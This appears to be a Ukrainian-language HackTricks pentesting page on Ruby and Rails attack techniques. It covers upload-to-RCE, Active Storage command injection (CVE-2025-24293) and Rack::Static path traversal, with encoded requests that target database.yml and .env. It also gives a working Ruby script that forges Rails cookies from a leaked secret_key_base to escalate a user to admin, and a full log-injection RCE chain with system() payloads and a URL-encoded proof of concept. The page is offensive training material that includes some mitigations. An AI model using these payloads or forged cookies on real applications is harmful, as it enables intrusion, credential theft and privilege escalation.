Ruby трюки
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Завантаження файлу до RCE
Як пояснено в this article, завантаження файлу .rb
у чутливі директорії, такі як config/initializers/
, може призвести до remote code execution (RCE) у Ruby on Rails застосунках.
Поради:
- Інші місця завантаження/eager-load, які виконуються при старті додатку, також небезпечні, якщо вони записувані (наприклад,
config/initializers/
— класичний випадок). Якщо знайдете довільне завантаження файлу, яке потрапляє кудись підconfig/
і потім оцінюється/required, можна отримати RCE при старті. - Шукайте dev/staging збірки, які копіюють керовані користувачем файли в образ контейнера, де Rails завантажить їх при старті.
Active Storage image transformation → command execution (CVE-2025-24293)
Коли застосунок використовує Active Storage з image_processing
+ mini_magick
і передає ненадійні параметри до методів трансформації зображень, версії Rails до 7.1.5.2 / 7.2.2.2 / 8.0.2.1 можуть дозволяти command injection, оскільки деякі методи трансформації помилково були дозволені за замовчуванням.
- Уразливий паттерн виглядає так:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
де params[:t]
та/або params[:v]
контролюються атакуючим.
-
Що спробувати під час тестування
-
Ідентифікуйте будь-які ендпоінти, що приймають опції variant/processing, імена трансформацій або довільні аргументи ImageMagick.
-
Фаззуйте
params[:t]
таparams[:v]
для виявлення підозрілих помилок або побічних ефектів виконання. Якщо можете впливати на ім’я методу або передавати сирі аргументи, що доходять до MiniMagick, можна отримати code exec на хості обробки зображень. -
Якщо у вас лише доступ для читання згенерованих варіантів, спробуйте сліпий ексфільтраційний канал через crafted ImageMagick операції.
-
Виправлення/детекція
-
Якщо бачите Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 з Active Storage +
image_processing
+mini_magick
і керованими користувачем трансформаціями, вважайте це експлуатованим. Рекомендується оновити і запровадити суворі allowlists для методів/параметрів та жорстку політику ImageMagick.
Rack::Static LFI / path traversal (CVE-2025-27610)
Якщо стек цілі використовує Rack middleware безпосередньо або через фреймворки, версії rack
до 2.2.13, 3.0.14 і 3.1.12 дозволяють Local File Inclusion через Rack::Static
, коли :root
не встановлено/неправильно налаштовано. Закодована traversal в PATH_INFO
може показати файли під робочою директорією процесу або під несподіваним root.
- Шукайте додатки, що монтують
Rack::Static
уconfig.ru
або стеку middleware. Спробуйте закодовані traversal проти static шляхів, наприклад:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Підлаштуйте префікс під налаштовані urls:
. Якщо додаток відповідає вмістом файлу, ймовірно у вас є LFI до всього під резольвеним :root
.
- Мітігація: оновіть Rack; переконайтеся, що
:root
вказує лише на директорію публічних файлів і встановлений явно.
Підробка/дешифрування Rails cookies коли secret_key_base
leaked
Rails шифрує та підписує cookies, використовуючи ключі, похідні від secret_key_base
. Якщо це значення leaks (наприклад, у репозиторії, логах або неправильно налаштованих credentials), зазвичай можна розшифрувати, змінити і повторно зашифрувати cookies. Це часто призводить до обходу authz, якщо додаток зберігає ролі, user IDs або feature flags у cookie.
Мінімальний Ruby код для дешифрування та повторного шифрування сучасних cookies (AES-256-GCM, за замовчуванням у останніх Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Примітки:
- Старіші додатки можуть використовувати AES-256-CBC та солі
encrypted cookie
/signed encrypted cookie
, або JSON/Marshal серіалізатори. Відповідно відкоригуйте солі, cipher і serializer. - У разі компрометації/оцінки, rotate
secret_key_base
, щоб інвалідувати всі існуючі cookies.
Див. також (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
Коли додаток (часто простий Rack/Sinatra/Rails endpoint) одночасно:
- записує рядок, контрольований користувачем, дослівно, та
- пізніше
load
-ить файл, шлях до якого отримано з того ж рядка (післяPathname#cleanpath
),
Часто можна досягти remote code execution, отруївши лог і змусивши додаток load
файл логу. Ключові примітиви:
- Ruby
load
виконує вміст цільового файлу як Ruby незалежно від розширення файлу. Будь-який читабельний текстовий файл, вміст якого розбирається як Ruby, буде виконаний. Pathname#cleanpath
згортає сегменти.
і..
без звернення до файлової системи, дозволяючи path smuggling: керований атакуючим мотлох може бути додано попереду для логування, тоді як очищений шлях все ще вказує на потрібний файл для виконання (наприклад,../logs/error.log
).
Minimal vulnerable pattern
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Чому лог може містити валідний Ruby
Logger
записує префіксні рядки, наприклад:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
У Ruby #
починає коментар, а 9/2/2025
— це просто арифметика.
Щоб інжектувати валідний Ruby код, потрібно:
- Почніть payload з нового рядка, щоб він не був закоментований
#
у рядку INFO; надішліть провідний символ нового рядка (\n
або%0A
). - Закрийте незакриту
[
введену в рядку INFO. Звичний трюк — почати з]
і за бажанням зробити парсер задоволеним][0]=1
. - Потім додайте довільний Ruby код (наприклад,
system(...)
).
Приклад того, що в кінцевому підсумку опиниться в логах після одного запиту з crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Приховання одного рядка, який одночасно записує код у лог і резольвиться у шлях до логу
Нам потрібен один рядок, контрольований атакуючим, який:
- при логуванні у сирому вигляді містить наш Ruby payload, та
- коли пропускається через
Pathname.new(<input>).cleanpath
, резольвиться до../logs/error.log
, тож наступнийload
виконає щойно підмінений лог-файл.
Pathname#cleanpath
ігнорує схеми та згортає компоненти обходу директорій, тож наступне працює:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Символ
#
перед://
змушує Ruby ігнорувати хвіст під час виконання логу, тоді якcleanpath
все ще скорочує суфікс до../logs/error.log
. - Провідний символ нового рядка виводить з рядка INFO;
]
закриває завислу дужку;][0]=1
задовольняє парсер.
End-to-end exploitation
- Надішліть наступне як ім'я скрипту резервного копіювання (за потреби URL-кодуйте перший символ нового рядка як
%0A
):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Додаток записує ваш необроблений рядок у
logs/error.log
. - Додаток обчислює
cleanpath
, який резольвується в../logs/error.log
, і викликаєload
на ньому. - Ruby виконує код, який ви вставили в лог.
To exfiltrate a file in a CTF-like environment:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (перший символ — перенос рядка):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Посилання
- Оголошення безпеки Rails: CVE-2025-24293 — небезпечні методи трансформації Active Storage (виправлено у 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.